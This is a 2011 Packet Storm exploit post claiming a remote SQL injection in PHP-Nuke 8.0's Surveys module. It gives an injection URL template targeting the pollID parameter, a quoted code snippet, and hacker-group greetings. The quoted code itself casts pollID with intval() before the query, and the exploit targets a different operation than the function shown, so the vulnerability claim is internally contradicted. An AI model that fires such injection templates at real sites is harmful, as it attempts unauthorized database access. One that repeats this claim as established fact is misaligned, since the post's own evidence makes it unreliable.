PHP-Nuke 8.0 Surveys Module SQL Injection

2011-04-06T00:00:00
ID PACKETSTORM:100119
Type packetstorm
Reporter KedAns-Dz
Modified 2011-04-06T00:00:00

Description

                                        
                                            `###  
# Title : PHP-Nuke 8.0 (mod Surveys) SQL Injection Vulnerability  
# Author : KedAns-Dz  
# E-mail : ked-h@hotmail.com  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter page : twitter.com/kedans  
# platform : php  
# Impact : Remote SQL Injection  
# Tested on : Windows XP sp3 FR  
###  
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )  
##  
# [»] ~ special thanks to : Dr.Ride   
####  
  
# Vulnerability in page ..\Surveys\index.php :  
  
function pollMain($pollID) {  
global $boxTitle, $boxContent, $pollcomm, $user, $cookie, $prefix, $module_name, $db, $userinfo;  
$pollID = intval($pollID);  
if(!isset($pollID))  
$pollID = 1;  
...  
....  
$result_a = $db->sql_query("SELECT pollTitle, voters FROM ".$prefix."_poll_desc WHERE pollID='$pollID'");  
list($pollTitle, $voters) = $db->sql_fetchrow($result_a);  
..............}  
  
# Exploit :  
  
http://[loaclhost]/[path]/modules/Surveys/modules.php?name=Surveys&op=results&pollID=[SQL-Inj3cTion]  
  
=================================================================================================  
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz  
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz  
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)  
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{  
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX   
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,  
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * exploit-id.com   
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...  
#================================================================================================  
`